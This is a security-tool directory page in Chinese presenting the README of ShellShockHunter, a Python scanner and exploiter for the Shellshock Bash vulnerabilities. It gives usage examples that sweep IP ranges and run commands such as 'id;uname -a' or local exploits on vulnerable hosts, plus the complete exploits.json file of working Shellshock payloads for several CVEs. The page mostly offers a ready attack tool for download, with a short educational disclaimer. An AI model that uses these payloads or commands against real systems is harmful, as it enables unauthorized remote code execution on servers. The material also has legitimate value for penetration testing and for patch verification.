Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
ShellShockHunter — 这是一个用于测试 Shellshock 漏洞的简单工具。 | Kitploit
工具/GitHubGitHub/mrcl0wnlab/shellshockhunter
漏洞扫描器漏洞利用Web应用程序漏洞利用渗透测试
GitHubmrcl0wnlab/shellshockhunter

ShellShockHunter

这是一个用于测试 Shellshock 漏洞的简单工具。

查看仓库
1243435年前Kitploit 审核通过

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

ShellShockHunter v1.0 横幅

ShellShockHunter v1.0

一个用于测试 Shellshock 漏洞的简单工具

GPL 许可证 GitHub 代码大小(字节) Python 3.8 支持的 OS Linux orange 支持的 OS Mac orange

root@kitploit:~
作者:    MrCl0wn
博客:    http://blog.mrcl0wn.com
GitHub:  https://github.com/MrCl0wnLab
Twitter: https://twitter.com/MrCl0wnLab
邮箱:    mrcl0wnlab\@\gmail.com

Shellshock(软件缺陷)

Shellshock(又称 Bashdoor)是 Unix Bash shell 中的一系列安全漏洞家族,第一个漏洞于 2014 年 9 月 24 日披露。Shellshock 可让攻击者让 Bash 执行任意命令,并未经授权访问许多面向互联网的服务,例如使用 Bash 处理请求的 Web 服务器。

免责声明

本程序或先前程序仅供教育目的使用。未经许可不得使用。标准免责声明适用,特别是本人(MrCl0wnLab)不承担因直接或间接使用这些程序所提供的信息或功能而造成的任何损害。作者或任何互联网提供商对这些程序或其任何衍生物的内容或滥用不承担任何责任。使用这些程序即表示您接受因使用这些程序造成的任何损害(数据丢失、系统崩溃、系统被入侵等)并非 MrCl0wnLab 的责任。

安装

使用包管理器 pip

Pip

root@kitploit:~
pip install shodan
pip install ipinfo

帮助

root@kitploit:~
python main.py --help

                        
                                          ,/
                                        ,'/
                                      ,' /
                                    ,'  /_____,
                                  .'____    ,'    
                                        /  ,'
                                      / ,'
                                      /,'
                                    /'
             ____  _     _____ _     _     ____  _      ___       _    
            / ___|| |__ |___ /| |   | |   / ___|| |__  / _ \  ___| | __
            \___ \| '_ \  |_ \| |   | |   \___ \| '_ \| | | |/ __| |/ /
             ___) | | | |___) | |___| |___ ___) | | | | | |_| | (__|   < 
            |____/|_| |_|____/|_____|_____|____/|_| |_|\___/ \___|_|\_\
                     __   _   _             _              __                  
                    | _| | | | |_   _ _ __ | |_ ___ _ __  |_ |                 
                    | |  | |_| | | | | '_ \| __/ _ \ '__|  | |                 
                    | |  |  _  | |_| | | | | ||  __/ |     | |                 
                    | |  |_| |_|\__,_|_| |_|\__\___|_|     | |                 
                    |__|                                  |__| v1.0                
                      作者: MrCl0wn / https://blog.mrcl0wn.com                                                                          
         
用法: tool [-h] [--file <ips.txt>] [--range <ip-start>,<ip-end>] 
[--cmd-cgi <command shell>] [--exec-vuln <command shell>] [--thread <20>] 
[--check] [--ssl] [--cgi-file <cgi.txt>] [--timeout <5>] [--all] [--debug]

可选参数:
  -h, --help                   显示此帮助信息并退出
  --file <ips.txt>             输入你的目标主机列表
  --range <ip-start>,<ip-end>  设置 IP 范围,例如:192.168.15.1,192.168.15.100
  --cmd-cgi <command shell>    定义将在 payload 中执行的 shell 命令
  --exec-vuln <command shell>  在存在漏洞的目标上执行命令
  --thread <20>, -t <20>       例如 20
  --check                      检查是否存在 shellshock 漏洞
  --ssl                        启用 SSL 请求
  --cgi-file <cgi.txt>         指定要使用的 CGI 文件
  --timeout <5>                设置连接超时时间
  --all                        测试所有 payload
  --debug, -d                  启用调试模式

命令示例:

root@kitploit:~
python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --range '194.206.187.X,194.206.187.XXX' --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt'

python main.py --file targets.txt --cmd 'id;uname -a' --thread 10 --ssl --cgi-file 'wordlist/cgi.txt' --all

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln 'curl -v -k -i "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"'

python main.py --range '194.206.187.X,194.206.187.XXX' --check --thread 40 --ssl --cgi-file 'wordlist/cgi2.txt' --exec-vuln './exploit -t "_TARGET_"' --debug

截图:

开始

Logo

进行中

Logo

特殊命令( --exec-vuln 'echo "_TARGET_"' )

Logo

命令( --debug )

Logo --debug

漏洞利用源文件

路径: assets/exploits.json

root@kitploit:~
{
    "DEFAULT":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271": 
        "() { :; }; echo _CHECKER_; /bin/bash -c '_COMMAND_'",
    "CVE-2014-6271-2":
        "() { :;}; echo '_CHECKER_' 'BASH_FUNC_x()=() { :;}; echo _CHECKER_' bash -c 'echo _COMMAND_'",
    "CVE-2014-6271-3":
        "() { :; }; echo ; /bin/bash -c '_COMMAND_';echo _CHECKER_;",
    "CVE-2014-7169":
        "() { (a)=>\\' /bin/bash -c 'echo _CHECKER_'; cat echo",
    "CVE-2014-7186":
        "/bin/bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo '_CHECKER_, redir_stack'",
    "CVE-2014-7187":
        "(for x in {1..200} ; do echo \"for x$x in ; do :\"; done; for x in {1..200} ; do echo done ; done) | /bin/bash || echo '_CHECKER_, word_lineno'",
    "CVE-2014-6278":
        "() { _; } >_[$($())] { echo _CHECKER_; id; } /bin/bash -c '_COMMAND_'",
    "CVE-2014-6278-2":    
        "shellshocker='() { echo _CHECKER_; }' bash -c shellshocker",
    "CVE-2014-6277":
        "() { x() { _; }; x() { _; } <<a; } /bin/bash -c _COMMAND_;echo _CHECKER_",
    "CVE-2014-*":
        "() { }; echo _CHECKER_' /bin/bash -c '_COMMAND_'"
}

配置文件源文件

路径: assets/config.json

root@kitploit:~
{
    "config": {
        "threads": 20,
        "path": {
            "path_output": "output/",
            "path_wordlist": "wordlist/",
            "path_modules": "modules/",
            "path_assets": "assets/"
        },
        "files_assets":{
            "config": "assets/config.json",
            "autor": "assets/autor.json",
            "exploits": "assets/exploits.json"
        },
        "api":{
            "shodan":"",
            "ipinfo":""
        }
    }
}

目录树

root@kitploit:~
├── assets
│   ├── autor.json
│   ├── config.json
│   ├── exploits.json
│   └── prints
│       ├── banner.png
│       ├── print00.png
│       ├── print01.png
│       ├── print02.png
│       └── print03.png
├── LICENSE
├── main.py
├── modules
│   ├── banner_shock.py
│   ├── color_shock.py
│   ├── debug_shock.py
│   ├── file_shock.py
│   ├── __init__.py
│   ├── request_shock.py
│   ├── shodan_shock.py
│   └── thread_shock.py
├── output
│   └── vuln.txt
├── README.md
└── wordlist
    └── cgi.txt

参考

  • https://owasp.org/www-pdf-archive/Shellshock_-_Tudor_Enache.pdf
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details
  • https://blog.inurl.com.br/search?q=shellshock
  • https://github.com/googleinurl/Xpl-SHELLSHOCK-Ch3ck/blob/master/xplSHELLSHOCK.php
  • https://github.com/chelseakomlo/shellshock_demo
  • https://github.com/xdistro/ShellShock/blob/master/shellshock_test.sh
  • https://github.com/capture0x/XSHOCK/blob/master/main.py
  • https://lcamtuf.blogspot.com/2014/10/bash-bug-how-we-finally-cracked.html
  • https://blog.sucuri.net/2014/09/bash-vulnerability-shell-shock-thousands-of-cpanel-sites-are-high-risk.html
  • https://github.com/BuddhaLabs/PacketStorm-Exploits/blob/master/1410-exploits/apachemodcgi-shellshock.txt
  • https://github.com/gajos112/OSCP/blob/master/Shellshock.txt
  • https://dl.packetstormsecurity.net/1606-exploits/sunsecuregdog-shellshock.txt
  • http://stuff.ipsecs.com/files/ucs-shellshock_pl.txt
  • https://github.com/opsxcq/exploit-CVE-2014-6271
  • https://en.wikipedia.org/wiki/Shellshock_%28software_bug%29#CVE-2014-7186_and_CVE-2014-7187_Details

路线图

我开始这个项目是为了更深入地学习 Python 并更多地与 shodan 和 ipinfo 等 API 交互。

  • 命令行结构
  • 横幅
  • 文件管理类
  • HttpRequests 管理类
  • 线程管理类
  • 漏洞利用源文件
  • 处理过程中的颜色显示
  • 在存在漏洞的目标上执行 Shell 命令
  • 调试过程
下载工具
  • https://manualdousuario.net/shellshock-bash-falha/
  • https://darrenmartyn.ie/2021/01/24/visualdoor-sonicwall-ssl-vpn-exploit